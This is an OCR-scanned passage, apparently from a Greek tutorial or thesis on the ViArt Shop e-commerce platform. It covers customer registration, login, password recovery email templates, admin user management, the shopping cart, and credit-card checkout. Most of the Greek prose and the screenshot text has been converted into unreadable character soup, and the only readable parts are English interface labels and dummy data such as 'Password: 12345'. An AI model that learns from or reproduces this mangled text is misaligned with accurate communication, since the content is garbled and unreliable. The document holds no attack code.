h:wc.xn Axm'npém.zm; napddoong eiw.ll o i&m«; Gnec endve khix 236 [

Edv ox1 yphyre 6Azg Tig TAnpogopieg nio kaTo

Name * |Pe|aths P

oBoc1 * [spti

08¢ 2 [

NoAn * |Herak||n

Nowoc

Taxudpopkdc kodkag * W

Xopa *® | Greece v

Byypaph  Alov
MNews FAQ Links Image Gallery Events Site Map
v
& local intranet #100% ~

Ewcova 70: @opuo. eyypapng.

A@o¥ 0 VEOC TEAATNG CUUTANPMOCEL TO, ATOPAITNTO TPOCHOTIKAE TOV GTOYE D,

799

070 TEAOG NG oeAidag emhéyel “Eyypaen” yia va amodnkevtodv ot aAlay£EC Tov.
Tehkmdg, epdcov 1 eyypagn Exel yivel emtuydc, epeoviletal otov meld n

TPOGMOTIKN TOL GEMOA M omoia TEPIEXEL TOL GTOLYEID TOV TTEANTN, TIG AYOPES TOL KO

GAAEG TPOCOTIKEG TANPOPOPIEC.
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(= Pelaths P Apxikij oedida - Windows Internet Explorer

@ ) v | htoslexiz-acerpirt shopjuser_home i ][4 )[x] | [[2]-
Apyglo EncEzpyooia  MpoPodr  Ayannpéva Epyoheia  Borfaa
— = i . . »
w I@Pe\a!ﬁs P Apyi) azhiGa ] 1 f3 -~ B - @ - [ 5=Ado - £ Epyakda -
~
%ﬁ f I APXIKH nPoTONTA TO KANABT Z0Y IXETIKA ME EMAZ 'EE0A0T
o g
0 hoyapiagpog pou
01 ayopEg pov ‘AMGEE TIg MANpopopis; cou
Mok Ba ohorhnpwhsl n ayopa oag Ba pnopeite va de Tnv Kataoraon Khi €06 =av eniBupeite va aAhagere Ta oToigeia enagng i ouvBeong nou Sioayayate oTav
AUTAC KaI NEPITOOTEREC AENTOUEPEES avoifate Tov hoyapiagud oac
0 TivBeopog nio kaTw Ba oag nds oty oehia nou Bo akkages Tov kwbikd oag
> Ahhay keodiod
-\ Ta amipata pou yia BoBsa Ta B pou Bipata
@ Eav 'Exere onowndnnots npoBhnua pe npoidv nou Exere ayopaoe o1 “Exere avapwrnBei v To npoBAnua nou xets hval éva nou kAnoiog Ghhog Exel nepdos; Ba
= unztbuvol yia Tv BoriBaia eival £Tool va To hioouy . EnikonovAoTE eniBupolioaTs vo poIpadTeiTe Trv EUNapia oac LIE Toug véoue XphoTeg; Mati Aev yiveare
pafl pag kavovTag KAK Nio KATw Kal ypawTE To npdBAnpa oag XPRATNC @OpoUY Kal Bev yiveoTs £va PEPOG TNG KONMOTTAG
01 Ayyehisg pou \_7 My Saved Carts
Edav &xeTe npoidvTa nou Ba eniBupoUoaTs va N@ARDETE ECEIC UNOPEITE va \a's Here you can view/retrieve baskets saved in the past.
TonoferiosTe TNV ayyehia oag £ os autnv TV ITooekiBa. Eval
ypriyopo KalsUkoho va TonoBeTnasic TIc ayyshisc.
My Wishlist My Reminders
Here you can view wishlist iterms saved in the past. My Reminders
Etofioc
Mews FAQ Links Image Gallery Events Site Map |
A4
&3 Local intranet E 100% -

Ewcova 71: Xelioa ypnorn.

Amd T otyun mMov 0 WEANTNG EYEL ONUIOVPYNOEL TO OKO TOV TPOCHOTIKO
Aoyaplacpo, yio va e16éA0el e avtov emaéyetl “Eicodog Xpnot™ Kot 6t cuveyeln
elodyel 1o “Ovopa ypnot” kat tov “Kwdikd” mov elye 0MGEL KOTA TV €YYPOUPT| TOL.
Enéyoviag “Eicodo” ewohyetar otov Aoyoplacpd tov Kor PAEmer OAeg TIg
TANPOQOPiEg OYETIKA Pe aVTOV KABMS KOl TO 1GTOPIKO TV TOPAYYEADY TOV.

Mo va €€EMBeL 0 meldtng amd 1o Aoyoplacud tov, emiiéyel “EE0d0g” kot €161
EMIGTPEPEL OTNV OPYLKT] GEMOO TOV KOTAGTIHOTOG,
Emumiéov, oty mepintwon mov o meAdng £xel EeXAGEL TOV KOIKO TOV, EMAEYEL TO

“Eeyxdoote ToV KOOKO” Kot ep@avileton 1 TopakdTe QOpL.
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{= F£xaoec Tov kwdik oou ? - Windows Internet Explorer

@; + | ] htipss/jslexia-acerViart_shopforgot_password.php v 3 [[#][x] | |EIE

Apyzio Enzizpyagia MpoPolfy Ayannpéva Epyahzsia  Borag

ﬁ—&[gfmﬂmmvm&xﬁwu? lil & - B F;u - [ seiia - ';:‘;}Epvnha‘n o

APXIKH MPOIONTA TO KAAABI Z0Y EIZ0A0Z ZXETIKA ME EMAZ

Napakah ypayTe To e-mail nou ¥pnoipononoaTs 6Tav Eyypaphkare
AnooTohn

News FAQ Links Image Gallery Events Site Map

OhorchnpiBnie &3 Local intranet #100% -

Ewovo 72: Popua emravopopas kwoikod ypnoty.

O meAdtng eodyst T 01€0BVVOT TOL NAEKTPOVIKOD TOYLOPOUEIOV TOL 7OV ElyE
CLUUTANPAOCEL OTAV EKOVE TN POPUO. EYYPAPNS TOV KOl 0 KOIKOS TOL OmOGTEAAETOL

eKel.
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%r - |g, http: /{freemail.services.in.gr femail / V| + -X ‘_'.E Search HEE'

Apysio  EngEepyacia  MpoPohn  Ayannuéva Epyohsia  BorBag

—— - »
w ot [@Mail 1 NEW Server Freemai ] l fb v B - @b - [izhz=hiso - ) Epyahea -
. NPOZOXH: Zu;s\.nuspm\.ouus &1, email nou Bpigkovtal oTo pdksho Twv Aisypappsvav, 5|nvputpo\.Tc||
" nepiodikd ywpic nepairspw npoaifonoinon. Napakaholps va MHN unoﬁnrc:usrs email orov paksho autd
r InMah’ nou pehhoutied Ba oac pavely xpAopa.
* in.gr - TpApa Ynootnpifng ZuvipopnTtaw

Xpnoponoisite To 73% and to SiaBiopo xopo

Eicepyopeva

! . Ead
Elgepxopsva xpromm = I'Ipon\«'oupcvo Enopcvo Anupmn
T nan L BE LD Mpodnan Ty pag)

] Zl0vBezon pynvopaTog

(ra va anavTrosTe: NaThioTe ‘Andvinon’, 'Andvinon ot dhoug, i Mpowdnon’ kar aAAGETE [ npooBéoTe oTo

& Anuioupyia pakehou - | KEWEYD ToU pnviparoc)

MzTovopooia pakélou

T EEE Do Ano: "arisalexia@ath.forthnet.gr" <arisalexia@ath.forthnet.gr=
Mpog: "laracroft19@in.gr" <laracroft19@in.gr:
& BifAio dizuBivosow Cc:
PuBpioeig L | @gpa: Your login and password details E
B Huepopnvia:  30/9/2008 6:45:59 pp
[ig Ffofiac b

lDunE.\m pnvupdTOV Hi,

Here are the details you requested:

Login: CustomerA
Password: 12345

w

OhokhnpmBnke |3 e Internet Ho100% -

Ewovo, 73: ITloapdooeryuo niektpovikod ToyvopouUcEiov GmooTOANS Yio.

ETOVOPOPO, TOD KWOIIKOD YPpHOTH.

3.5 Awyeipron LoyopLOCP®OV TEAUTOV

‘Eocto kot av doyeplopoacte €vo NAEKTPOVIKO KOTAGTNUO KOl OTOCYOAOVUAGTE
Kuplog pe TIg mopayyeries, o€ Ba NTav €KTOG TOTOL va. YvmPIilovpe TOVG TEAUTES TOV
NAEKTPOVIKOD LOG KOTOGTHILOTOG,

I'evikd, n ovvoAlkn OlaXEIPION TOV AOYOPLICUOV TOV TEAATOV OLOUOPPDOVETOL
OWUECOV  TOL  TUAUOTOG TOV  KATOVOA®TOV. AkoAiovBodue 1  Oadpopn:

Administration > Site Users > Accounts, kot epeovietal n Topakdato cerido:
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inistration :: Site Users ::.. - Windows Internet Explorer

@ v |g http://alexia-acer /ViArt_shop fadminfadmin_users.php Vl 9| X | | poibs
Apygio  Enefepyoocia  MpoPoAn  Ayamnuéva  Epyahkda  BorBeia
T,’:? & ['@.‘::Adm\niswaﬁon:: Site Users ii.. I 1
\ _ — — —
\.' o Site Users L =
techne
#i Site Home & Administration Menu  Bookmarks
Products Orders cMSs Articles Helpdesk Forum Manual Ayyehieg Site Users System
Administration > Site Users
Search Users: Online Statistics: Registration Info:
By Name, E-Mail Online Today Last 7 days This Month Last Month
Customer 0 Customer 1 0 1 1 0
By Address: g g
- Zuvohika o Zuvohika: 1 0 1 1 0
From Date (DDMMPYIYY): ¥ Calengar
&
To Date (DDMM/YYYY): 8 Calendar
Show: @ al O approved O Mot Approved
Oniine /Offine: @1 Oonine Qoffine
q o %  Userlogin User Name E-mail Tinog Approved  Poi Credit
] 2 Pelaths1 Pelaths P pelaths@myemail.com Customer Nai Q £0.00 View/Edit Info Login Details
| 1 joy joy nothing @example.com Customer Nt 0 £0.00 View/Edit Info Login Details
Add Hew Customer
Export Users | Export Hew Users (2) | Import Users | Send Birthday Greetings | Send Reminds
I v| [(_AvovéwonKardoroon ] [ Remove Selected ) 3
& Localintranet # 100% -

Ewovo 74: Awoyeipion Aoyapiracuwv welotwmv

Avtd 10 TUNUO. 0TO OMOi0 PPIOKOUACTE, HOG EMITPEMEL VO SLOYEPIGTOVUE
OYETIKA LE TOVG AOYUPLUGLOVG TV YPNOTOV. ZVYKEKPIUEVA, WTOPOVLLE:

e No mopaxorovdncovpe t Alota mov &lval ov €yyeypoppéEVoL
TEMATEG TOL TMAEKTPOVIKOL HOG KOTOOCTUOTOS KOl €mmpdcOeta va
OTOPPEOVLLE OTIC GEMOEG LE TIG AemTopEPELEG KAOE TTEAATN.

e Noa avalnToovpe GUYKEKPIUEVOVS AOYOPLOGLOVG TEANTMV.

e Na eodyovue(import) ko va eEdryovpe(export) Aoyoplocrong
TEAATOV.

e No toafivopovue AOYOPLIGHOVS TEAATMV, OVAAOYO HE TNV
TOVTOTNTO TOVG, TO OVOUO EIGOS0V TOV YPNOTH, TNV NAEKTPOVIKT TOVG
devBvuvorn, Tov TOTO Kat TNV KATACTOCT 6TV onoio Bpickovrtal exeivn
N oTUyUn.

e Na mpocHécovpe €vav kavovplo merdrtn, emAaéyoviag “Add
New Customer”.

e Na eykpivovpe kot vo  0omodOKIUALOVUE  SLOKEKPUUEVOVG

AOyOplac oD TEAATMV OTOLOONTOTE GTIYUN).
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e No Odwypdoovpe OOKEKPIUEVOLS AOYOPLOGUOVS TEAATMV,
emA&yovtog to kovuni “Remove Selected”.
e No mopokoAovBoOUE T GUVOAIKA GTOTIGTIKA E£YYPOPNS TOV

Aoppdvovy HéPog 6To NAEKTPOVIKO OGS KATAGTLLOL.

3.6 Emava@opad Eeaopuéveov KMOIKAV TELATOV

Onoc avagépape TponyoupEVMmS, eival cuyvo GaVOUEVO Ol TEAdTES va. Egxdoovy
TOV KOJKO TOLG. X& OLTHV TNV TEPIMTOOT, UTOPOVV Ol TEAUTES VO ELGAYOLV TN
J1eHBVVGT TOL NAEKTPOVIKOD TOYLOPOLEIOL TOVG TTOV EIYOV CUUTANPADGEL OTOV EKOVOLV
™ QOpUO EYYPOUPNG TOVS KOL O KMOWKOG TOLG amootéAdetor ekel. Topa, yu vo
TPOGOPUOCOVIE OLTO TO HUNVOUOTO OV OOCTEAAOVIOL OTOVG TEANTES Yo TNV
EMOVAPOPA  TOV KOIKAOV TOVG, TPEMEL v,  akolovbnoovpe 1  OSadpopn:

Administration > Site Users > Forgotten Passwords.

% .z Administration :: Forgotten Password ::.. - Windows Internet Explorer

v | @] http:/falexia-acer ViArt_shopfadminfadmin_forgotten_password.php | 44| X Pir
Apyeio  Enfepyacia  MpoPodr  Avamnuéva  EpyoAeio  BonBeia

W

. — — ; ) . =
(& ... Administration :: Forgotten Password .. ‘ ‘ - B - ® - [rEhda - £ Epyahdia -

Message Type OHML @ Plain Text

Hon-encrypted Password

Subject [Your login and password details

Message i,

ki 286 tor learn more about email settings

and see all available message tags) fere are the cetals you requested:

Login: {login}
Passward: {password}

MD5-encrypted Password

Time Limit to change the password 360 (minutes)
Subject [Password reset instructions
Message Hiy

KAl £t to learn more about email settings

- ‘o reset your password please use the link below:
and see all available message tags) Youre: b

{reset_password_url}

@ Site Home {g} Administration Menu Products & Categories Sales / Orders Products Reviews Helpdesk

& Local intranet # 100% -

Ewcova 75: Exavapopad Eeyoouévav kwdikmv.

To NAekTPOVIKO HOC KATAGTNIO, LOGS TPOGPEPEL T1 OLVATOTNTA VO EMAEEOVUE TN

xprion MDS5 kpurtoypdonon aryopiBuov yio v enavagopd TV KOSKOV.
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Qo1660, Oa Tpémet va £xovpe VITOYT Hog, 0Tt Le T xprion MDS kpumtoypdenong,
de Ba &yovpe ™ OvLvVATOHTNTA VO EMOVOPEPOLUE OKPPOS TOV 1010 KWOKO, AdY®

AoQAAELNG, AAAG LOVO Y10 VO OTILLOVPYTICOVE KOVOUP10.

3.7 Awwowkaoiao Mapayyeiiog

Mo 1t dwdikacio mapayyeiiog, T0 TPAOTO TPAYUO TOL TPEMEL Vo, Yivel, glval
emioyn tov mpoidviwv. Ta mpoidvia, dnwg ta £xovpe dNUOVPYNGEL TPONYOLVUEVAG,
elval yopiopéva oe katnyopieg kot yuoo To Kabéva amd avtd oatifetor n avdioyn

TEPLYPOPT| TNV OTOia EYOVUE ODOEL.

Xg OLYKEKPUEVO TOPAOELya, O TEAATNG £xel EMAEEEL G TPOTO TPOIOV Evav

NAEKTPOVIKO VIoAoYloT amd TV kotnyopio Computers.

(= Computers - Windows Internet Explorer El@@

@.\_—’;. v \(e_ https://alexia-acer /Vidrt_shop/products php?category_id=35 "l ﬂ ‘ || X | ‘ i
Aoxio  EncEzpyocio  Mpofloh  Ayannpéva  Epyoheia  BorBao

W & [Bome = B8 8- Gus- Qoo "

| —— ] &

Cel Phones and GPS _— |

R T _
Software Antivirus and Security AU,!UumU. \ﬂ:mduws Vista Home Premium.

DSLR Digital Cameras
Other Electronic

ACER ASPIRE

X _ 563900

Nopiopa H diad |r.|acT||.||'1!: $1,519.69 ($1,519.69 indl. TAX)
Kepdilere: $119.31 (T%h

FEEEE D EEEE Méooc dpoc Bafuohayiac: [Not Rated]

= | = =]l A < ] HnnthTn:

NpooBnkn oTo KaAGe! A T0 KOAAGBI ooy 2

. Add to Wishlist
Mpoiovra Avalitnon _—
H Biafrspn axeBioon Tou Aspre Gemstone Blue 8ivel aTouc gopnTolc unohoyioTéc dhho vonpa. To aTuk Tou shval

Yraprouoa kaTnyopia ¥ Ea?(mpmﬁ, BIOKPITIKG KO povadikd, e NpOOEYUEVES YPaUWES KOI UeyaAn AENTOUEDED OTO ¥paUa.
‘Eheyxog
MAyane Me Ta CineDash media console ndpTe Tov éheyxo Tou unohoyiaTh oac kal Tev nohupéowy, pubpiovrag Tov pe Baon Tic
i . avdykeg oag, yia kahlTepsg Multimedia anohalosig.
Eibikry Avolfrnan Ekdva

Ta notebook pe Tnv oxedioon Gemstone Blue anorchouv Ta npara Ta onoia BioBErouv avahuon 1920 x 1080 FULL HD,
avahayia ofidvng 16:9 kai BluRay disc drive @aTe va onohapBavers TiC Tavieg oac Ue WA EUKpivE Kal noidTATa, AivoTag
0ag pIa oNTKNA £unepia n onola Ba oag aphos ApEVOUC.

Ajgfnan

Xapn oro m¥nTKS ouornua Doby 5.1 Surround ka1 To Tuba CineBass booster nou BioBére, Ba pnopeite va anohapBavere
fixo nwnAic noibTnTag o anoiog fla evioxlion Tic ambiosc ooc kal Ba evisie T aTpdoapa dowv napakohoubsits aTnv
0B0vn oag.

Tyl

Me Intel Core 2 Duo enctepyaoTh Pamopévo otnv Tegpvohoyia Intel Centrino, n iaxc sival kAT To onoio o Aspire Gemstone
Blue mopnréc unohoyiorrc Biobétel os ninfidpa. Etnv epyacia o priopse va skrehefre onoadhnoTe spappoyh f
npOyYpappa = PIKPOTEPD XPOVO Kal Pe hy0TEpo KONo, evid napahinha epooov nephapBava WiFi Ba pnopeite va ouvdézate
OTO IMTEPVET QoUpuOTa. ETa nagvidia evioxuel Tnv multimedia andBoon psTapoppavovrag Ty anki diaokédaon o pio
abExooTn euneipia.

Jiapdare Mepiaasrspa

ChorhnpdBnie & Local intranet H 100% ~

Ewovo, 76: Emiloyn mpoioviog amo tov meAaty.

2 ovvéyewn, oo 0 TEANTNG OPACEL TNV TEPLYPAPT] TOV GUYKEKPIUEVOL

TPOiOVTOG, TapaTNPNOEL To oYOA0 Ko T Pabporoyio GAA®V TEAATOV Yo ALTO TO
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TPOIOV, EMAEEEL TV TOGOTNTA, KO OTOPAGILEL

t0: “IIpocOnkn oto Kardor”.

\CER ASPIRE - Windows [nternet Expl

TeAMKA Oa To ayopdoetl, emAdyet

~ | ] nitoss/jelexa-acerViArt_shopfproduct_detais pp?category_id=358item_id=127 |[2]-]
= = »
[ 1 zzhifio ~ (% Epyahdia ~
o ]
ANd'KH .UP[{TDNTA TO KAAABL Z0Y ZENTAA XPHETH EXETIKA ME EMAZ E=0A0E ‘
Apyir] oehiba > Mpoidvra > Computars > ACER ASPIRE
To KaAaBi Zou ‘
S
To kakaBi ayopov sival Gdsio 1
Fipfr IR KupidTepa onpsia:
H duia pag Tipn!: $1,519.69 (51,519.69 indl. TAX)
Kepdifere: $119.31 (7%)
NogbTnTa:
NpogBrikn oTo KOAGS! AEC T0 KOAGEI ooU  Add to Wishiist
B Aople ipods
Monitors HiEn Yoo Windows Internet Explorer
[ cel Phones and GPS Enctepyaoric: Intel
0figvn: 18.4 WUX
B Software Antivirus and Security TOUTGXPOVNC ENDE
: Mvipn: 4096MB (2
ﬁ DSLR Digital Cameras TrAnpoc Aiokog: 1 ¥
i 0onTikog Aiokog: Blu
a Other Electronic Floppy Disk: Acv
KapTa ypamikav: NVida GeForce 9500M-GS pe 512MB auTdvounc pviung kai SuvatdTnTa enékTaonc we Ta 1280MB
XPNOWONOKVTAC TNV UVAUN TOU QUTALATOC.
Modem: 56K ITU V.92 Wake-on-Ring ready.
Kapra dwcroou: 10 / 100 / 1000Mbps Ethernet, Wake-on-LAN ready xai Intel PRO Wireless 4965AGN (802.11a/b/g/Draft-
).
B0psg enkovwviag: 4 x USB 2.0, 1 x VGA, 1 x HDMI p unoaTripitn HDCP, 1 x ExpressCard / 54 slot, 6-in-1 card reader (5D /
MMC / MMCplus / MS / MS PRO / xD), 1 x Consumer infrared (CIR) port, 1 x RF-in jack, 1 x Modem (RJ-11) port, 1 x
Ethernet (RJ-45), 1 x speaker / headphone / line-out jack pe unoatipiEn S/PDIF, 1 x microphone in jack, 1 x line-in jack, 1 x
DC-in jack yia AC adapter. @
MAArArra unnarrnairrws: Ciaeiarenibm whieaa Arar CricsICien (3 mananival Olinkanth 3 N Arar Din Nendnrkine |
javascript:document. form_127.submit(); &3 Local intranet F100% - |

Ewcova 77: [lpoaOnkn mpoiovrog ato kalabl ayopwv tov weldry.

(= KahaBt ayopuv - Windows Internet Explol

G@ o |& https: falexia-acer ViArt_shop/basket,php?rp=product_details, php%3Fcategory_id%3035%26item_id%30D127

Apydo  Encfepyocia  MpoPokr  Ayannpéva  Epyahea  BorBao
e (& xakch avopiy ’_} 8 - B - @ - 2 rekibe - (G Epyakeia - o
APXIKH MPOTONTA ZEATAA XPHETH IXETIKA ME EMAZ 'ES0A0Z
Mpoidv Tipn) excl. TAX MNogdTnTa Tivoho excl. TAX Tivoko Tivoho incl. TAX
ACER ASPIRE $1,519.69 $1,519.69 $0.00 $1,519.69 Aigvoaor
Zuvoho npoiovTav §1,519.69 $0.00 $1,519.69

KOUNavI £KNTwonG: | i

Luvéyeld Twv ayopwv | Refrieve Cart | Save Cart | ABeinge 10 koAdBl | OAOKARpwWON ayopwv

News Events

FAQ Links Image Gallery Site Map

OAokAnpwBnKe

& Local intranet H100% v

Ewcova 78: Kaiabi oyoparv.
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Av 0 mehdtng BéAel va ayopdoet Kot GAAa TpoidvTo TOTE EMALYEL “TuvEYELD TOV

ayopaVv”, aAlmg emAEYEL “OAOKANPOOT) TOV OyopdV”.

211 GLVEYELD TOV TOPAOELYLOTOC LaG, O TEAATNG £xEl EMAEEEL MG OEVTEPO TPOIOV

évav i-pod oand v katnyopia “Apple i-pods”. Axolovbei tnv idwo Swwdwkacia,

oNradn aeov o meAdtng SwPdost TNV TEPLYPAPT TOL GLYKEKPUEVOL TPOIdVTOC,

mopatnpnoel ta oxOAl Kot TN Pobporoyio GAA®V TEAATOV Yoo ALTO TO TPOIOV,

eMAEEEL TNV TTOGOTNTO, Kol amo@ocilel 0Tl TeEAKA Ba TOo ayopdcel, €mALYEL TO:

“ITpocOnkn oto Kardor”.

(- APPLE [POD TOUCH - Windaws Internet Explorer

—
G\\—}r Ad |g https: /alexia-acer /ViArt_shop/product_details.php?category_id=18&item_id=137

W |§APPLEEDDTDUCH

EEpyardo ~

’_‘ 5 B - & [t

Mpoidv
ACER ASPRR... i
Iivoho npoidvTmv 1

Ohokdipwon ayopiy | Aec To kahBi gou

@ Computers

@ Monitors
e Cel Phones and GPS
@ Software Antivirus and Security

Q DSLR Digital Cameras
@ Other Flectronic

NoobTnTa T
$1,519.69
£1,519.69

S= -

Tipr: $509.00 ($509.00 incl. TAX)
NoadTnTa:

Npoo8rikn oTo KaAGBI Ae To KaAGSI gou
OhokMpwon ayopt)v - Add to Wishlist

Click Here for Larger
Image

Windows Internet Explorer

Nepiypagiy

oaréoec: 110 7 ) ehacvo npooBiosc aurd 1o mpoiéy omo ka8 oou ?

Bdpog: 120 g.

ofovn 3,5" wid

Xpauomiopoc M —OK Akupo

XwpnTKAOTNTO: ) 40apec video).
Mnarapia: Evc T T

Autovopia; Eug 22 @psg

Avanapayayr apxsiav fxou: AAC (16 to 320 Kbps), Protected AAC (from iTunes Store), MP3 (16 to 320 Kbps), MP3 VBR,
Audible (formats 2, 3, and 4), Apple Lossless, AIFF kai WAV.

Avanapayoyr apxskov video: H.264 video, i&pi 1.5 Mbps, 640 by 480 pixels, 30 frames/sac., Low-Complexity version of
the H.264 Baseline Profie with AAC-LC audio pgxpi 160 Kbps, 48kHz, stereo audio in .mdv, .mp4, and .mov formats, H.264
video, péxpl 2.5 Mbps, 640 by 480 pixels, 30 frames/sec., Baseline Profile péxpi Level 3.0 with AAC-LC audio péxpi 160 Kbps,
48kHz, stereo audio in .mdv, .mp4, kai .mov formats, MPEG-4 video, péxpi 2.5 Mbps, 640 by 480 pixels, 30 frames/sec.,
Simple Profile pe AAC-LC audio péxpi 160 Kbps, 48kHz, stereo audio in .mdv, .mp4, and .mov formats.

Wireless data: Wi-Fi (802.11b/a).

ZupBard hemoupyik@ ouaTiuara: Mac 05 X vi0.4.10 kai vedTepo, Windows Vista or Windows XP Home 1 Professional pe
Service Pack 2 kai vedTepo.

Interface: USB 2.0.

Efofior: Dock connector, 3.5-mm stereo headphone jack.

AnoBoon fxou: 20Hz - 20kHz.

Kpimikég v

javascript:document. form_137.submit();

& Local intranet 0% v

Ewcova 79: Ilpoobixn devtepov mpoiovios ato kaldbr ayopwv tov

weAaTH.
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(= KahaBt ayopwy - Windows Internet Explor

v‘&‘&,x‘., ‘pv

Apygio Enztzpyasia  MpoPoAf, Ayannuéva Epyodzia  Bohfama

o |§Kﬂ?\ﬁ8\ ayopiy I |

@ (& & hips://alexa-acerviArt_shop basket.phprp=product_detais.php%3Fcategary _d%301%25item_id%3D137

S - B - = - |5k EhBo - G Epvahda - i

APXIKH

MPOTONTA
Npoidv Tipn excl. TAX MogdTnTa
ACER ASPIRE $1,510.69 [ F
APPLE TPOD TOUCH $509.00 1
Tivoko npoibuTav

KOUMGVI EXTTT@ONG:

TEATAA XPHETH

Zuvéyela Twv ayopwy | Refrieve Cart | Save Cart | ABEIOOE TO KOAGS! | OAOKANpwON ayopiv

TXETIKA ME EMAZ ‘ES0A0E

Tivoho exdl. TAX Fivoko Tivoho incl. TAX
$1,519.69 $0.00 $1,519.60  Aovooor
$500.00 $0.00 $500.00  Aoyoowd
$2,028.69 $0.00 $2,028.69

Links

Image Gallery

Events Site Map

% Local intranet | 100% -

Ewova 80: Kalab ayopv.

O meldng emAéyel OLOKANPOON TOV
Poppa:

: Npocwmikeg mAnpopopieg - Windows Internet Explo

ayopadV TOL Kot gUeovIfeTal 1 TOPAKATO

Npoownikég MAnpopopieg

@;; - |& https: /falexia-acer /ViArt_shop/order_info.php V‘ & ‘ 2| X | ‘ Bl
Apyeio  Enefzpyooia  MpoPodn  Ayannpeva  Epyoheio  BorBao
W & I@npmm‘g e l_l - B - 5k - (FEovokda -
&
APXIKH MPOTONTA TO KAARQIZQY ZEATMA XPHITH IXETIKA ME EMAZ EE0A0Z
Step 1. Personal and Delivery Data.  Step 2. Payment Detals.  Step 3. Order Confirmation.
Npoiov TipR excl. TAX MoodTnTa Fovolo excl. TAX
ACER ASPIRE $1,519.69 1 $1,519.69
APPLE IPOD TOUCH $509.00 1 $509.00
Zivoho npoidvTov $2,028.69
FUvolikd KOOTOG aYOPHV $2,028.69

NapakaA® smAEETe Tpono nAnpepig *

Hame * |Pe\aths P

e-mail * |pe\aths@myema\\‘com
086c1 * |sp'mi

0B6c 2 [
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nokn * Heraklo

Nopdg Select State v

TaxuBpopkag kodkac * 71500

Xopa * Greece A
Tnhépavo nuépag * 12345678

Bpadnd TnAépavo * 12345678

AenTopépsieg napddoang
Edv o Aemoppaec, napaBoonc eival o Bieg 61 Endvas khi Bt

Edv &y ypaye 6Aeg i MAnpopopieg mo kdTw |

Name * Pelaths P
0f6c1* spiti
Qfag 2
néhn * Herakio
Nopdg Select State v
Taxudpopkdc kadKkag * 71500
Xopo * Greece A
Fuvixeio
v
(OMoANPWENKE ‘3 Local intranet H100% -

Ewcova 81: Popua olokinpwang twv ayopav.

To emduevo Prjua etvor va emideyel o tpdmog mAnpouns. ‘Evag tpémog eivan o
TEAATNG VO, TANPAOGCEL LECH TNG TICTMOTIKNG TOL KAPTOS, SLOPOPETIKA VAL TANPADGCEL
HECM TOV EEMTEPIKOV CLOTNUATOV TANPOUNG KOl CLYKEKPIUEVA Vo EMAEEEL Eval oo

T0. 52 CLGTHHOTO TANPOUNG TOV LITOSTNPILEL TO NAEKTPOVIKO LLOG KOTAGTN LA,

210 TopAdEYHo OV PBPLOKOUOCTE, O MEANTNG EMAEYEL VO TANPOGEL HUECH TNG
TGTOTIKNG TOL KAPTOS, TapakdTe Oa avaldoovpe Eexwplotd v xpnon eEOTepIKdV
HeBOOWV TANPOUDV.

AQoV 0 meEAATNG emAélel TANPOUN HECH TICTOTIKNG KAPTOG, EUPOVICETOL M

TOPOKATO QOPLLOL:
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e Aentopépeiec mAnpowpric - Windows Internet Explorer

@\ ) =[] ttosyfakiz-acer iért_shopedit_card_info.phpdorder_id=1ave=28d243e5d 4cat 36908248160 48cdh METEEN (2]

Apxelo  EncErpyacia MpoBoki  Avamuiva  Epyahda  Bodea

w [@Mmumzc nAnpuy ]7| B B v e - (FEpyada -
~
Step 1. Personal and Delvery Data.  Step 2. Payment Details.  Step 3. Order Confrmation. 3
Npoiov Tipny excl. TAX NogoTnTa Fivolo excl. TAX
ACER ASPIRE $1,519.69 1 $1,519.69
APPLE IPOD TOUCH $509.00 1 $509.00
ZUvoho NpoidvTov $2,028.69
Zuvolikd KOOTOC ayopov $2,028.69
ONOMA KATOXOY KAPTAZ *
(Ao now aveypaperal oMY KioTa) Pelaths P

ApBuog kaprag * ‘

Huspounvia Evapnc k6oTog
Husaounvia ks kiprog =
Mapakaid enAEETe %

| Mapakaho enAEETe
ApiBude kapTag VISA h & Solo cards only)
VISAElectron
Kodko aopaheac Mastercard
American Express
Switch z

ool
JCB @
Delta =
Eurocard 8 Local intranet ® 100% v
Discaver

Ewovo 82: Xroryeia motwtikng kaptag weldt.

Tunog kaprag *

Bonfizi ?

Ta ototyeio mov TPEMEL VOL CUUTANPDOCEL O TEAATNG Elvarn Tar ENG:
e  Ovopa katdyov Képtag(avtd TOL AVUYPAPETAL GTNV KAPTA).
e ApBudg kdprog.
e  Hpepounvia évapéng kot AENg kbptag
e Tomog «xaptag(Visa, Visa electron, MasterCard, American
Express, Switch, Solo, JCB, Delta, Euro card, Discover).

o  Kwdwog acpaleiog.

210 TEAOG TNG POPLAG O TEAUTNG EMAEYEL GUVEXELD Y10 VO TPOYWPNOEL GTO TEAMKO

Bua ¢ mapayyeliog Tov.
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e EmBeBaiwon - Windows Internet Explorer

@\ SN [ ] https:/faexia-scerviart_shapforder_confirmation.pio NN |[2]-
Apydlo  Encfzpyocia  MpoPodd  Avampiva  Epyohsin  Borfen
% o [@Emmm [_I 5 B @ - [N - O Epvalda -
ACER ASPIRE 31,510.69 T SI519.69
APPLE IPOD TOUCH $500.00 1 $500.00
Jlvolo npoitvTov 52,028.69
Zuvolikd KOTTOC ayopmv $2,028.69
Tiwohoyio os: Napa os:
Name: Pelaths P Hame: Pelaths P
e-mai: pelaths@myemail.com 080¢ 1: spiti
0d0c 1: spiti 0806g 2:
080 2: NoAn: Heraklio
Nokn: Heraklio Nopog:
Nopog: Taxudpopkog kndkag 71500
Taxulpopkog kodkag 71500 Xopa: Greece
Xopa: Greece

Tnhépwvo nuépac 12345678
Bpadno Tnhipuvo: 12345678

ONOMA KATOXQY KAPTAZ Pelaths P
Tinog kaprag VISA
ApiBube kaprac srss_sses_ssss_ 0500
Hyzpopnvia ‘Evapinc kapTag 02/ 2007
Huzpopnvia ARng kapTag 11/ 2013
ZuvexEa
[OhorAnpinke % Local intranet ®100% ~

Ewova  83: Empefoiwon rmapoyyeriog, Aemrouépeies  tpomov

TAHPOUIS.
H mopoamdve cehida evnuepdvel tov meldtn vy v emitoyn SeEaymyn g

TOPAYYEAIOS TOV, EVA TAPAAANAL TOL OTOCTEALETOL £VOL LWVULLO GTO NAEKTPOVIKO TOL

TayLOPOLEio pe Ta oTolXElD TG TapayyEMOG.
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(& Ohoxhripwon - Windows Internet Explorer

3 : 5[+
@.\_/. - |E, https: falexia-acer Viart_shop/order_final.php V| Qj 4[| X |
Apyeio EnsEepyagia  MpoPohn  Ayannuéva  Epyahsia  Borjfoa
— — e »
w [@o;\om‘qpm ] ] - B - & v [ Ehia - ) Epyaheia -

APXIKH MPOTONTA TO KANARBI ZOY ZEATAA XPHZTH ZXETIKA ME EMAZ ‘E=040Z

Thank You for Purchase!

